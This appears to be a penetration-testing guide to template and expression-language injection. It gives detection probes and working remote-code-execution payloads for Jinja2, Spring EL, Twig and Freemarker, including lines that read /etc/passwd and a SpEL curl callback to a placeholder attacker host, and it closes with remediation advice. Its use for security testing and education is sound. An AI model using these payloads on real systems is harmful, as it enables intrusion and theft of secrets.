Exploitation A03| Injection
Expression Language Injection
Expression Language (EL) injection and Server-Side Template Injection (SSTI) occur when user input is evaluated as code by a template engine or expression evaluator. This frequently leads to Remote Code Execution (RCE) — one of the most critical vulnerability classes.
Danger
SSTI/EL injection typically leads to full RCE. If you can evaluate expressions, you can usually execute
arbitrary system commands. Always test in a controlled environment.
Detection Payloads
bash
# Universal polyglot detection payload:
# Input this in every field and check if the math is evaluated:
${<%[%'"}}%\.
# Arithmetic probes — if 49 appears, the expression was evaluated:
{{7*7}} # Jinja2, Twig, Nunjucks
${7*7} # Java EL, Freemarker, Mako
#{7*7} # Ruby ERB, Java EL
<%= 7*7 %> # ERB, EJS
{{= 7*7}} # Handlebars (custom)
{7*7} # Velocity
@(7*7) # Razor (ASP.NET)
# Test in various input locations:
# - URL parameters
# - POST body fields
# - HTTP headers (User-Agent, Referer)
# - Email templates (password reset, notifications)
# - PDF generation inputs
# - Error messages that reflect input# Universal polyglot detection payload:
# Input this in every field and check if the math is evaluated:
${<%[%'"}}%\.
# Arithmetic probes — if 49 appears, the expression was evaluated:
{{7*7}} # Jinja2, Twig, Nunjucks
${7*7} # Java EL, Freemarker, Mako
#{7*7} # Ruby ERB, Java EL
<%= 7*7 %> # ERB, EJS
{{= 7*7}} # Handlebars (custom)
{7*7} # Velocity
@(7*7) # Razor (ASP.NET)
# Test in various input locations:
# - URL parameters
# - POST body fields
# - HTTP headers (User-Agent, Referer)
# - Email templates (password reset, notifications)
# - PDF generation inputs
# - Error messages that reflect inputJinja2 (Python/Flask)
python
# Confirm injection:
{{7*7}} → 49
{{config}} → dumps Flask config (may include SECRET_KEY!)
# Read files:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen in the list (usually index ~400)
# RCE payload:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Alternative RCE chain:
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
# Shorter RCE:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}# Confirm injection:
{{7*7}} → 49
{{config}} → dumps Flask config (may include SECRET_KEY!)
# Read files:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen in the list (usually index ~400)
# RCE payload:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Alternative RCE chain:
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
# Shorter RCE:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}Java EL / Spring Framework
java
# Java Unified EL injection:
${7*7} → 49
# Read system properties:
${systemProperties['os.name']}
${systemProperties['user.dir']}
# Spring-specific:
${T(java.lang.Runtime).getRuntime().exec('id')}
# Read files:
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
# RCE via ProcessBuilder:
${T(java.lang.ProcessBuilder).new({'cat','/etc/passwd'}).start()}
# Spring SpEL injection:
#{T(java.lang.Runtime).getRuntime().exec('curl http://ATTACKER/callback')}
# Newer Spring payloads:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}# Java Unified EL injection:
${7*7} → 49
# Read system properties:
${systemProperties['os.name']}
${systemProperties['user.dir']}
# Spring-specific:
${T(java.lang.Runtime).getRuntime().exec('id')}
# Read files:
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
# RCE via ProcessBuilder:
${T(java.lang.ProcessBuilder).new({'cat','/etc/passwd'}).start()}
# Spring SpEL injection:
#{T(java.lang.Runtime).getRuntime().exec('curl http://ATTACKER/callback')}
# Newer Spring payloads:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}Twig (PHP)
php
# Confirm injection:
{{7*7}} → 49
{{7*'7'}} → 49 (Twig converts string to number)
# Read environment:
{{app.request.server.get('DOCUMENT_ROOT')}}
{{app.request.server.get('SERVER_SOFTWARE')}}
# Get PHP version:
{{constant('PHP_VERSION')}}
# RCE (Twig <1.20):
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
# RCE (newer Twig with Symfony):
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}# Confirm injection:
{{7*7}} → 49
{{7*'7'}} → 49 (Twig converts string to number)
# Read environment:
{{app.request.server.get('DOCUMENT_ROOT')}}
{{app.request.server.get('SERVER_SOFTWARE')}}
# Get PHP version:
{{constant('PHP_VERSION')}}
# RCE (Twig <1.20):
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
# RCE (newer Twig with Symfony):
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}Freemarker (Java)
java
# Confirm injection:
${7*7} → 49
# RCE payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Read files:
${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner")("java.io.File","/etc/passwd").useDelimiter("\\A").next()}
# Alternative RCE:
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}# Confirm injection:
${7*7} → 49
# RCE payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Read files:
${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner")("java.io.File","/etc/passwd").useDelimiter("\\A").next()}
# Alternative RCE:
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}Testing Checklist
- 1. Identify the template engine (check error messages, headers, file extensions)
- 2. Test arithmetic payloads in all input fields:
{{7*7}},${7*7},#{7*7} - 3. Check if the evaluated result appears in the response (49)
- 4. Test in non-obvious injection points: email templates, PDF generation, error pages
- 5. Escalate to information disclosure (config, env vars)
- 6. Escalate to RCE with engine-specific payloads
- 7. Use tplmap for automated detection and exploitation
Evidence Collection
Detection: Request with {{7*7}} and response showing 49
Info Disclosure: Extracted configuration, paths, or environment variables
RCE Proof: Output of 'id' or 'hostname' command via template injection
CVSS Range: Info disclosure: 5.3–7.5 | RCE: 9.1–10.0
Remediation
- Never pass user input to template evaluation: Treat templates as code, not data.
- Use sandboxed template mode: Many engines offer sandboxed environments (Jinja2 SandboxedEnvironment, Twig sandbox).
- Whitelist allowed template functions: Restrict which methods and properties can be accessed in expressions.
- Use logic-less templates: Prefer Mustache/Handlebars (no code execution) over full-featured template engines.
False Positive Identification
- Math evaluation ≠ RCE: $$49 returning 49 confirms EL evaluation, but the security impact depends on whether dangerous classes (Runtime, ProcessBuilder) are accessible — always attempt command execution before rating severity.
- Template literal vs. EL: JavaScript template literals (backtick syntax) use $$ too — distinguish between client-side JS evaluation and server-side EL injection.
- Sandboxed EL context: Some frameworks restrict EL evaluation to a safe subset — test for class access and method invocation, not just arithmetic.